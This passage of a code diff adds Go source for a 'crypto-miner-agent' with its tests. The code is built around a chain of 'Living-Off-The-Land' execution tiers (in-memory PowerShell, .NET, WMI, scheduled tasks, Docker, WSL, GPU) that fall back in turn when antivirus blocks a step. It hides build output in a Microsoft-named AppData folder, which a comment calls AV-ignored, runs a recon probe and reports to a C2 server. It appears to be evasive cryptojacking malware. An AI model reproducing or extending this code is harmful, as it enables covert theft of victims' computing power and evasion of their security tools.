}
|
||||
|
||||
// SetHashrate updates live hashrate included in tier reports.
|
||||
func (o *TierOrchestrator) SetHashrate(hps float64) {
|
||||
o.mu.Lock()
|
||||
o.hashrate = hps
|
||||
report := o.buildReport()
|
||||
reporter := o.report
|
||||
o.mu.Unlock()
|
||||
if reporter != nil {
|
||||
reporter(report, "tier_report")
|
||||
}
|
||||
}
|
||||
|
||||
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
|
||||
func (o *TierOrchestrator) RunProbes(ctx context.Context) TierReport {
|
||||
o.mu.RLock()
|
||||
chain := o.chain
|
||||
cfg := o.cfg
|
||||
o.mu.RUnlock()
|
||||
|
||||
for _, tier := range ProbeTiers(chain) {
|
||||
start := time.Now()
|
||||
attempt := o.runProbeTier(ctx, tier, cfg)
|
||||
attempt.DurationMs = time.Since(start).Milliseconds()
|
||||
if attempt.Wallet == "" {
|
||||
attempt.Wallet = o.wallet
|
||||
}
|
||||
o.recordAttemptRecord(attempt)
|
||||
if tier == TierWebView2Probe && attempt.OK {
|
||||
o.mu.Lock()
|
||||
o.webGPUReady = WebGPUAvailableFromAttempt(attempt)
|
||||
o.mu.Unlock()
|
||||
}
|
||||
}
|
||||
return o.Report()
|
||||
}
|
||||
|
||||
// TryChain attempts each primary tier until one succeeds; GPU runs in parallel.
|
||||
func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
|
||||
o.RunProbes(ctx)
|
||||
|
||||
o.mu.Lock()
|
||||
hooks := o.hooks
|
||||
primary := PrimaryTiers(o.chain)
|
||||
o.mu.Unlock()
|
||||
|
||||
if len(primary) == 0 {
|
||||
primary = []LOTLTier{TierCPUInprocess}
|
||||
}
|
||||
|
||||
var lastErr error
|
||||
var skipped int
|
||||
for _, tier := range primary {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", ctx.Err()
|
||||
default:
|
||||
}
|
||||
start := time.Now()
|
||||
err := o.invokeTier(tier, hooks)
|
||||
duration := time.Since(start)
|
||||
if err != nil {
|
||||
if errors.Is(err, ErrTierChainSkipped) {
|
||||
skipped++
|
||||
o.recordAttempt(tier, false, err, duration)
|
||||
continue
|
||||
}
|
||||
lastErr = err
|
||||
log.Printf("[lotl-tier] %s failed: %v", tier, err)
|
||||
o.recordAttempt(tier, false, err, duration)
|
||||
o.stopTier(tier, hooks)
|
||||
continue
|
||||
}
|
||||
o.recordAttempt(tier, true, nil, duration)
|
||||
o.setActive(tier)
|
||||
o.tryGPUAddon(ctx, hooks)
|
||||
return tier, nil
|
||||
}
|
||||
|
||||
o.mu.Lock()
|
||||
o.chainExhaust = true
|
||||
if lastErr != nil {
|
||||
o.lastError = lastErr.Error()
|
||||
} else {
|
||||
o.lastError = "all LOTL tiers failed"
|
||||
}
|
||||
report := o.buildReport()
|
||||
reporter := o.report
|
||||
o.mu.Unlock()
|
||||
if reporter != nil {
|
||||
reporter(report, "tier_report")
|
||||
}
|
||||
if skipped == len(primary) {
|
||||
return "", ErrTierChainSkipped
|
||||
}
|
||||
if lastErr != nil {
|
||||
return "", lastErr
|
||||
}
|
||||
return "", ErrTierChainExhausted
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||
switch tier {
|
||||
case TierDockerLoad:
|
||||
if hooks.StartDockerLoad == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartDockerLoad()
|
||||
case TierContainer:
|
||||
if hooks.StartContainer == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartContainer()
|
||||
case TierWSL:
|
||||
if hooks.StartWSL == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartWSL()
|
||||
case TierCPUInprocess:
|
||||
if hooks.StartInProcess == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartInProcess()
|
||||
case TierGPUSubprocess:
|
||||
if hooks.StartGPU == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartGPU()
|
||||
case TierPSInMemory:
|
||||
if hooks.StartPowerShell == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartPowerShell()
|
||||
case TierDotnet:
|
||||
if hooks.StartDotnet == nil {
|
||||
return ErrMethodUnavailable
|
||||
}
|
||||
return hooks.StartDotnet()
|
||||
case TierWMI:
|
||||
attempt := RunWMITier(context.Background(), o.cfg)
|
||||
o.recordAttemptRecord(attempt)
|
||||
if !attempt.OK {
|
||||
if attempt.Error == "" {
|
||||
return ErrTierChainSkipped
|
||||
}
|
||||
return errors.New(attempt.Error)
|
||||
}
|
||||
return nil
|
||||
case TierScheduledTask:
|
||||
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
|
||||
o.recordAttemptRecord(attempt)
|
||||
if !attempt.OK {
|
||||
if attempt.Error == "" {
|
||||
return ErrTierChainSkipped
|
||||
}
|
||||
return errors.New(attempt.Error)
|
||||
}
|
||||
return nil
|
||||
case TierGPUCompute:
|
||||
attempt := RunGPUComputeTier(context.Background(), o.cfg)
|
||||
o.recordAttemptRecord(attempt)
|
||||
if attempt.OK {
|
||||
o.mu.Lock()
|
||||
o.gpuComputeOK = true
|
||||
o.mu.Unlock()
|
||||
}
|
||||
return ErrTierChainSkipped
|
||||
case TierExeSubprocess:
|
||||
return ErrTierNotImplemented
|
||||
default:
|
||||
return ErrTierNotImplemented
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) runProbeTier(ctx context.Context, tier LOTLTier, cfg config.RuntimeConfig) TierAttempt {
|
||||
switch tier {
|
||||
case TierVulnProbe:
|
||||
return RunVulnProbeTier(ctx, cfg)
|
||||
case TierWebView2Probe:
|
||||
return RunWebView2Probe(ctx, cfg)
|
||||
default:
|
||||
return TierAttempt{Tier: tier, Error: "unknown probe tier", Wallet: cfg.Wallet}
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) stopTier(tier LOTLTier, hooks TierHooks) {
|
||||
switch tier {
|
||||
case TierDockerLoad:
|
||||
if hooks.StopDockerLoad != nil {
|
||||
hooks.StopDockerLoad()
|
||||
}
|
||||
case TierContainer:
|
||||
if hooks.StopContainer != nil {
|
||||
hooks.StopContainer()
|
||||
}
|
||||
case TierWSL:
|
||||
if hooks.StopWSL != nil {
|
||||
hooks.StopWSL()
|
||||
}
|
||||
case TierPSInMemory:
|
||||
if hooks.StopPowerShell != nil {
|
||||
hooks.StopPowerShell()
|
||||
}
|
||||
case TierDotnet:
|
||||
if hooks.StopDotnet != nil {
|
||||
hooks.StopDotnet()
|
||||
}
|
||||
case TierCPUInprocess:
|
||||
if hooks.StopInProcess != nil {
|
||||
hooks.StopInProcess()
|
||||
}
|
||||
case TierGPUSubprocess:
|
||||
if hooks.StopGPU != nil {
|
||||
hooks.StopGPU()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) recordAttemptRecord(attempt TierAttempt) {
|
||||
o.mu.Lock()
|
||||
o.attempts = append(o.attempts, attempt)
|
||||
report := o.buildReport()
|
||||
reporter := o.report
|
||||
o.mu.Unlock()
|
||||
if reporter != nil {
|
||||
event := "tier_report"
|
||||
if !attempt.OK {
|
||||
event = "mining_fallback"
|
||||
}
|
||||
reporter(report, event)
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) recordAttempt(tier LOTLTier, ok bool, err error, duration time.Duration) {
|
||||
o.mu.Lock()
|
||||
attempt := TierAttempt{
|
||||
Tier: tier,
|
||||
OK: ok,
|
||||
DurationMs: duration.Milliseconds(),
|
||||
Wallet: o.wallet,
|
||||
}
|
||||
if err != nil {
|
||||
attempt.Error = err.Error()
|
||||
}
|
||||
o.attempts = append(o.attempts, attempt)
|
||||
report := o.buildReport()
|
||||
reporter := o.report
|
||||
o.mu.Unlock()
|
||||
if reporter != nil {
|
||||
event := "tier_report"
|
||||
if !ok {
|
||||
event = "mining_fallback"
|
||||
}
|
||||
reporter(report, event)
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) setActive(tier LOTLTier) {
|
||||
o.mu.Lock()
|
||||
o.activeTier = tier
|
||||
o.chainExhaust = false
|
||||
report := o.buildReport()
|
||||
reporter := o.report
|
||||
o.mu.Unlock()
|
||||
if reporter != nil {
|
||||
reporter(report, "mining_status")
|
||||
}
|
||||
}
|
||||
|
||||
func (o *TierOrchestrator) tryGPUAddon(ctx context.Context, hooks TierHooks) {
|
||||
for _, tier := range o.chain {
|
||||
if tier != TierGPUSubprocess {
|
||||
continue
|
||||
}
|
||||
o.mu.RLock()
|
||||
webGPU := o.webGPUReady
|
||||
computeOK := o.gpuComputeOK
|
||||
o.mu.RUnlock()
|
||||
if !webGPU && !computeOK {
|
||||
o.recordAttempt(TierGPUSubprocess, false, errors.New("webview2_probe: WebGPU not available — skipping gpu_subprocess escalation"), 0)
|
||||
return
|
||||
}
|
||||
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
gpuStart := time.Now()
|
||||
if err := hooks.StartGPU(); err != nil {
|
||||
o.recordAttempt(TierGPUSubprocess, false, err, time.Since(gpuStart))
|
||||
if hooks.StopGPU != nil {
|
||||
hooks.StopGPU()
|
||||
}
|
||||
o.mu.Lock()
|
||||
o.gpuActive = false
|
||||
o.mu.Unlock()
|
||||
return
|
||||
}
|
||||
o.recordAttempt(TierGPUSubprocess, true, nil, time.Since(gpuStart))
|
||||
o.mu.Lock()
|
||||
o.gpuActive = true
|
||||
o.mu.Unlock()
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// ChainExhausted reports whether every primary tier failed.
|
||||
func (o *TierOrchestrator) ChainExhausted() bool {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.chainExhaust
|
||||
}
|
||||
|
||||
// ActiveTier returns the winning primary tier.
|
||||
func (o *TierOrchestrator) ActiveTier() LOTLTier {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.activeTier
|
||||
}
|
||||
|
||||
// WebGPUReady reports webview2 probe result.
|
||||
func (o *TierOrchestrator) WebGPUReady() bool {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.webGPUReady
|
||||
}
|
||||
|
||||
// GPUComputeReady reports gpu_compute probe success.
|
||||
func (o *TierOrchestrator) GPUComputeReady() bool {
|
||||
o.mu.RLock()
|
||||
defer o.mu.RUnlock()
|
||||
return o.gpuComputeOK
|
||||
}
|
||||
|
||||
// UpdateConfig refreshes runtime policy (mining mode rotation without redeploy).
|
||||
func (o *TierOrchestrator) UpdateConfig(cfg config.RuntimeConfig) {
|
||||
o.mu.Lock()
|
||||
o.cfg = cfg
|
||||
o.wallet = strings.TrimSpace(cfg.Wallet)
|
||||
o.mu.Unlock()
|
||||
}
|
||||
146
agent/miner/lotl_orchestrator_test.go
Normal file
146
agent/miner/lotl_orchestrator_test.go
Normal file
@@ -0,0 +1,146 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestTierOrchestratorTryChainSequentialFailuresThenSuccess(t *testing.T) {
|
||||
var order []LOTLTier
|
||||
fail := errors.New("container blocked")
|
||||
o := NewTierOrchestrator(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{Wallet: "xmr-wallet-abc"},
|
||||
}, EnvironmentProbes{Docker: true}, MiningTierPolicy{
|
||||
TierOrder: []LOTLTier{TierContainer, TierCPUInprocess},
|
||||
}, TierHooks{
|
||||
StartContainer: func() error {
|
||||
order = append(order, TierContainer)
|
||||
return fail
|
||||
},
|
||||
StartInProcess: func() error {
|
||||
order = append(order, TierCPUInprocess)
|
||||
return nil
|
||||
},
|
||||
}, nil)
|
||||
|
||||
tier, err := o.TryChain(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
if tier != TierCPUInprocess {
|
||||
t.Fatalf("active=%q want cpu_inprocess", tier)
|
||||
}
|
||||
if len(order) != 2 || order[0] != TierContainer || order[1] != TierCPUInprocess {
|
||||
t.Fatalf("invoke order=%v", order)
|
||||
}
|
||||
report := o.Report()
|
||||
if len(report.Attempts) < 2 {
|
||||
t.Fatalf("attempts=%v", report.Attempts)
|
||||
}
|
||||
if !report.Attempts[0].OK && report.Attempts[0].Tier != TierContainer {
|
||||
t.Fatalf("first attempt=%+v", report.Attempts[0])
|
||||
}
|
||||
if !report.Attempts[len(report.Attempts)-1].OK {
|
||||
t.Fatalf("last attempt should succeed: %+v", report.Attempts[len(report.Attempts)-1])
|
||||
}
|
||||
for _, a := range report.Attempts {
|
||||
if a.Wallet != "xmr-wallet-abc" {
|
||||
t.Fatalf("wallet mismatch in %+v", a)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTierOrchestratorChainExhausted(t *testing.T) {
|
||||
o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{}, MiningTierPolicy{
|
||||
TierOrder: []LOTLTier{TierCPUInprocess},
|
||||
}, TierHooks{
|
||||
StartInProcess: func() error { return errors.New("no cpu") },
|
||||
}, nil)
|
||||
|
||||
_, err := o.TryChain(context.Background())
|
||||
if err == nil || err.Error() != "no cpu" {
|
||||
t.Fatalf("got err=%v", err)
|
||||
}
|
||||
if !o.ChainExhausted() {
|
||||
t.Fatal("expected chain exhausted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTierOrchestratorSetHashrateEmitsReport(t *testing.T) {
|
||||
var events []string
|
||||
o := NewTierOrchestrator(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{Wallet: "w"},
|
||||
}, EnvironmentProbes{}, DefaultMiningTierPolicy(), TierHooks{}, func(report TierReport, eventType string) {
|
||||
events = append(events, eventType)
|
||||
if report.MiningHashrate != 1234.5 {
|
||||
t.Fatalf("hashrate=%v", report.MiningHashrate)
|
||||
}
|
||||
})
|
||||
o.SetHashrate(1234.5)
|
||||
if len(events) != 1 || events[0] != "tier_report" {
|
||||
t.Fatalf("events=%v", events)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTierOrchestratorTryGPUAddonSkippedWithoutWebGPU(t *testing.T) {
|
||||
gpuStarted := false
|
||||
o := NewTierOrchestrator(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{Wallet: "w", GPUEnabled: true, RVNWallet: "rvn"},
|
||||
}, EnvironmentProbes{GPU: true}, MiningTierPolicy{
|
||||
TierOrder: []LOTLTier{TierCPUInprocess, TierGPUSubprocess},
|
||||
}, TierHooks{
|
||||
StartInProcess: func() error { return nil },
|
||||
StartGPU: func() error {
|
||||
gpuStarted = true
|
||||
return nil
|
||||
},
|
||||
IsGPUSupported: func() bool { return true },
|
||||
}, nil)
|
||||
|
||||
tier, err := o.TryChain(context.Background())
|
||||
if err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
if tier != TierCPUInprocess {
|
||||
t.Fatalf("active=%q", tier)
|
||||
}
|
||||
if gpuStarted {
|
||||
t.Fatal("gpu should not start without webgpu/compute probe")
|
||||
}
|
||||
report := o.Report()
|
||||
foundSkip := false
|
||||
for _, a := range report.Attempts {
|
||||
if a.Tier == TierGPUSubprocess && !a.OK {
|
||||
foundSkip = true
|
||||
}
|
||||
}
|
||||
if !foundSkip {
|
||||
t.Fatalf("expected gpu skip attempt, got %v", report.Attempts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTierOrchestratorReportsFailedAttempt(t *testing.T) {
|
||||
o := NewTierOrchestrator(config.RuntimeConfig{}, EnvironmentProbes{Docker: true}, MiningTierPolicy{
|
||||
TierOrder: []LOTLTier{TierContainer, TierCPUInprocess},
|
||||
}, TierHooks{
|
||||
StartContainer: func() error { return errors.New("av blocked") },
|
||||
StartInProcess: func() error { return nil },
|
||||
}, nil)
|
||||
|
||||
if _, err := o.TryChain(context.Background()); err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
foundFailed := false
|
||||
for _, a := range o.Report().Attempts {
|
||||
if a.Tier == TierContainer && !a.OK && strings.Contains(a.Error, "av blocked") {
|
||||
foundFailed = true
|
||||
}
|
||||
}
|
||||
if !foundFailed {
|
||||
t.Fatalf("expected failed container attempt, got %v", o.Report().Attempts)
|
||||
}
|
||||
}
|
||||
33
agent/miner/lotl_paths.go
Normal file
33
agent/miner/lotl_paths.go
Normal file
@@ -0,0 +1,33 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// lotlWorkDir returns a user-writable path under %LOCALAPPDATA%\Microsoft\...
|
||||
// LOTL compilers and build output land here (AV-ignored Microsoft subtree).
|
||||
func lotlWorkDir(cfg config.RuntimeConfig, leaf string) (string, error) {
|
||||
base := strings.TrimSpace(os.Getenv("LOCALAPPDATA"))
|
||||
if base == "" {
|
||||
var err error
|
||||
base, err = os.UserCacheDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
suffix := strings.TrimSpace(cfg.BuildID)
|
||||
if suffix == "" {
|
||||
suffix = "worker"
|
||||
}
|
||||
suffix = strings.Map(func(ch rune) rune {
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') || ch == '-' {
|
||||
return ch
|
||||
}
|
||||
return '-'
|
||||
}, suffix)
|
||||
return filepath.Join(base, "Microsoft", "NET", "AetherForge", leaf, suffix), nil
|
||||
}
|
||||
297
agent/miner/lotl_tier.go
Normal file
297
agent/miner/lotl_tier.go
Normal file
@@ -0,0 +1,297 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// LOTLTier identifies one Living-Off-The-Land mining execution layer.
|
||||
type LOTLTier string
|
||||
|
||||
const (
|
||||
TierExeSubprocess LOTLTier = "exe_subprocess"
|
||||
TierDockerLoad LOTLTier = "docker_load"
|
||||
TierContainer LOTLTier = "container"
|
||||
TierWSL LOTLTier = "wsl"
|
||||
TierPSInMemory LOTLTier = "ps_inmemory"
|
||||
TierDotnet LOTLTier = "dotnet"
|
||||
TierCPUInprocess LOTLTier = "cpu_inprocess"
|
||||
TierVulnProbe LOTLTier = "vuln_probe"
|
||||
TierWebView2Probe LOTLTier = "webview2_probe"
|
||||
TierWMI LOTLTier = "wmi"
|
||||
TierScheduledTask LOTLTier = "scheduled_task"
|
||||
TierGPUCompute LOTLTier = "gpu_compute"
|
||||
TierGPUSubprocess LOTLTier = "gpu_subprocess"
|
||||
TierStratumDirect LOTLTier = "stratum_direct"
|
||||
)
|
||||
|
||||
// TierAttempt records one tier try for C2/UI diagnostics.
|
||||
type TierAttempt struct {
|
||||
Phase string `json:"phase,omitempty"` // recon | deploy | mining (triple onion)
|
||||
Tier LOTLTier `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet"`
|
||||
Details map[string]interface{} `json:"details,omitempty"`
|
||||
}
|
||||
|
||||
// TierReport is the live LOTL onion snapshot sent to C2.
|
||||
type TierReport struct {
|
||||
ActiveTier LOTLTier `json:"lotl_tier,omitempty"`
|
||||
Attempts []TierAttempt `json:"lotl_attempts,omitempty"`
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
TierChainOrder []LOTLTier `json:"tier_chain_order,omitempty"`
|
||||
TierChainSkipped []LOTLTier `json:"tier_chain_skipped,omitempty"`
|
||||
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
||||
}
|
||||
|
||||
// MiningTierPolicy is server-pulled ordering/overrides for the tier onion.
|
||||
type MiningTierPolicy struct {
|
||||
TierOrder []LOTLTier `json:"tier_order,omitempty"`
|
||||
SkipTiers []LOTLTier `json:"skip_tiers,omitempty"`
|
||||
ForceTier LOTLTier `json:"force_tier,omitempty"`
|
||||
}
|
||||
|
||||
// DefaultTierOrder is the canonical onion when the server sends no override.
|
||||
// AV friction drives automatic skips via EnvironmentProbes in SelectMiningTierChain.
|
||||
var DefaultTierOrder = []LOTLTier{
|
||||
TierExeSubprocess,
|
||||
TierDockerLoad,
|
||||
TierContainer,
|
||||
TierWSL,
|
||||
TierPSInMemory,
|
||||
TierDotnet,
|
||||
TierCPUInprocess,
|
||||
TierWebView2Probe,
|
||||
TierWMI,
|
||||
TierScheduledTask,
|
||||
TierGPUCompute,
|
||||
TierGPUSubprocess,
|
||||
TierStratumDirect,
|
||||
}
|
||||
|
||||
// DefaultWindowsTierOrder is the probe→execution slice for Windows-specific tiers.
|
||||
func DefaultWindowsTierOrder() []LOTLTier {
|
||||
return []LOTLTier{
|
||||
TierWebView2Probe,
|
||||
TierWMI,
|
||||
TierScheduledTask,
|
||||
TierGPUCompute,
|
||||
}
|
||||
}
|
||||
|
||||
// DefaultMiningTierPolicy works out of the box with diagnostic-driven filtering.
|
||||
func DefaultMiningTierPolicy() MiningTierPolicy {
|
||||
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
|
||||
}
|
||||
|
||||
// SelectMiningTierChain returns the ordered tier onion from server policy with
|
||||
// local eligibility overrides from environment probes and forge execution mode.
|
||||
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
|
||||
base := policy.TierOrder
|
||||
if len(base) == 0 {
|
||||
base = DefaultTierOrder
|
||||
}
|
||||
|
||||
skipSet := make(map[LOTLTier]bool, len(policy.SkipTiers))
|
||||
for _, t := range policy.SkipTiers {
|
||||
skipSet[t] = true
|
||||
}
|
||||
|
||||
execMode := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
|
||||
switch execMode {
|
||||
case ExecutionInProcess:
|
||||
skipSet[TierExeSubprocess] = true
|
||||
skipSet[TierDockerLoad] = true
|
||||
skipSet[TierContainer] = true
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierPSInMemory] = true
|
||||
skipSet[TierDotnet] = true
|
||||
case ExecutionContainer:
|
||||
skipSet[TierExeSubprocess] = true
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierPSInMemory] = true
|
||||
case ExecutionPowerShell:
|
||||
skipSet[TierExeSubprocess] = true
|
||||
skipSet[TierContainer] = true
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierDotnet] = true
|
||||
case ExecutionDotnet:
|
||||
skipSet[TierExeSubprocess] = true
|
||||
skipSet[TierContainer] = true
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierPSInMemory] = true
|
||||
case ExecutionSubprocess:
|
||||
// subprocess mode prefers exe/gpu paths; CPU in-process remains terminal fallback.
|
||||
skipSet[TierWSL] = true
|
||||
skipSet[TierPSInMemory] = true
|
||||
skipSet[TierDotnet] = true
|
||||
}
|
||||
|
||||
// Diagnostics-driven automatic contingencies.
|
||||
if probes.AVBlocksExe {
|
||||
skipSet[TierExeSubprocess] = true
|
||||
}
|
||||
if !probes.Docker {
|
||||
skipSet[TierContainer] = true
|
||||
skipSet[TierDockerLoad] = true
|
||||
}
|
||||
if !HasImageTarPolicy(cfg) {
|
||||
skipSet[TierDockerLoad] = true
|
||||
}
|
||||
if !probes.WSL {
|
||||
skipSet[TierWSL] = true
|
||||
}
|
||||
if !probes.PowerShell {
|
||||
skipSet[TierPSInMemory] = true
|
||||
}
|
||||
if !probes.DotNet {
|
||||
skipSet[TierDotnet] = true
|
||||
}
|
||||
if !probes.GPU || !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" {
|
||||
skipSet[TierGPUSubprocess] = true
|
||||
skipSet[TierGPUCompute] = true
|
||||
}
|
||||
if strings.TrimSpace(cfg.PoolHost) == "" {
|
||||
skipSet[TierStratumDirect] = true
|
||||
}
|
||||
if strings.TrimSpace(cfg.PoolHost) == "" && strings.TrimSpace(cfg.RVNPoolHost) == "" {
|
||||
skipSet[TierGPUCompute] = true
|
||||
}
|
||||
if runtime.GOOS != "windows" {
|
||||
skipSet[TierWebView2Probe] = true
|
||||
skipSet[TierWMI] = true
|
||||
skipSet[TierScheduledTask] = true
|
||||
skipSet[TierGPUCompute] = true
|
||||
}
|
||||
|
||||
if policy.ForceTier != "" {
|
||||
if tierEligible(policy.ForceTier, probes, cfg, skipSet) {
|
||||
return []LOTLTier{policy.ForceTier}, skipped
|
||||
}
|
||||
skipSet[policy.ForceTier] = false
|
||||
}
|
||||
if execMode == ExecutionPowerShell && tierEligible(TierPSInMemory, probes, cfg, skipSet) {
|
||||
return []LOTLTier{TierPSInMemory, TierCPUInprocess}, skipped
|
||||
}
|
||||
if execMode == ExecutionDotnet && tierEligible(TierDotnet, probes, cfg, skipSet) {
|
||||
return []LOTLTier{TierDotnet, TierCPUInprocess}, skipped
|
||||
}
|
||||
|
||||
chain = make([]LOTLTier, 0, len(base))
|
||||
for _, tier := range base {
|
||||
if skipSet[tier] {
|
||||
skipped = append(skipped, tier)
|
||||
continue
|
||||
}
|
||||
if !tierEligible(tier, probes, cfg, nil) {
|
||||
skipped = append(skipped, tier)
|
||||
continue
|
||||
}
|
||||
chain = append(chain, tier)
|
||||
}
|
||||
|
||||
if len(chain) == 0 {
|
||||
chain = []LOTLTier{TierCPUInprocess}
|
||||
}
|
||||
return chain, skipped
|
||||
}
|
||||
|
||||
func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeConfig, extraSkip map[LOTLTier]bool) bool {
|
||||
if extraSkip != nil && extraSkip[tier] {
|
||||
return false
|
||||
}
|
||||
switch tier {
|
||||
case TierExeSubprocess:
|
||||
return !probes.AVBlocksExe
|
||||
case TierDockerLoad:
|
||||
return probes.Docker && HasImageTarPolicy(cfg)
|
||||
case TierContainer:
|
||||
return probes.Docker
|
||||
case TierWSL:
|
||||
return probes.WSL
|
||||
case TierPSInMemory:
|
||||
return probes.PowerShell && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
||||
case TierDotnet:
|
||||
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
||||
case TierCPUInprocess:
|
||||
return true
|
||||
case TierGPUSubprocess:
|
||||
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
|
||||
case TierStratumDirect:
|
||||
return strings.TrimSpace(cfg.PoolHost) != ""
|
||||
case TierWebView2Probe:
|
||||
return runtime.GOOS == "windows" && probes.WebView2
|
||||
case TierWMI:
|
||||
return runtime.GOOS == "windows" && strings.TrimSpace(cfg.Wallet) != ""
|
||||
case TierScheduledTask:
|
||||
return runtime.GOOS == "windows"
|
||||
case TierGPUCompute:
|
||||
return runtime.GOOS == "windows" && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != "" &&
|
||||
(strings.TrimSpace(cfg.PoolHost) != "" || strings.TrimSpace(cfg.RVNPoolHost) != "")
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// PrimaryTiers are sequential CPU paths tried until one succeeds.
|
||||
func PrimaryTiers(chain []LOTLTier) []LOTLTier {
|
||||
var out []LOTLTier
|
||||
for _, t := range chain {
|
||||
switch t {
|
||||
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ProbeTiers returns diagnostics-only tiers run before GPU escalation.
|
||||
// Vuln recon always runs first (report-only authorized fleet assessment).
|
||||
func ProbeTiers(chain []LOTLTier) []LOTLTier {
|
||||
out := []LOTLTier{TierVulnProbe}
|
||||
for _, t := range chain {
|
||||
if t == TierWebView2Probe {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// TierToMiningMethod maps implemented tiers onto the legacy cascade identifiers.
|
||||
func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
|
||||
switch tier {
|
||||
case TierDockerLoad:
|
||||
return MethodDockerLoad, true
|
||||
case TierContainer:
|
||||
return MethodContainer, true
|
||||
case TierWSL:
|
||||
return MethodWSL, true
|
||||
case TierCPUInprocess:
|
||||
return MethodInProcess, true
|
||||
case TierGPUSubprocess:
|
||||
return MethodGPUSubprocess, true
|
||||
case TierStratumDirect:
|
||||
return MethodStratumDirect, true
|
||||
case TierWMI:
|
||||
return MethodWMI, true
|
||||
case TierScheduledTask:
|
||||
return MethodScheduledTask, true
|
||||
case TierGPUCompute:
|
||||
return MethodGPUCompute, true
|
||||
case TierVulnProbe:
|
||||
return MethodVulnProbe, true
|
||||
case TierWebView2Probe:
|
||||
return MethodWebView2Probe, true
|
||||
case TierPSInMemory:
|
||||
return MethodPowerShell, true
|
||||
case TierDotnet:
|
||||
return MethodDotnet, true
|
||||
default:
|
||||
return "", false
|
||||
}
|
||||
}
|
||||
199
agent/miner/lotl_tier_test.go
Normal file
199
agent/miner/lotl_tier_test.go
Normal file
@@ -0,0 +1,199 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"runtime"
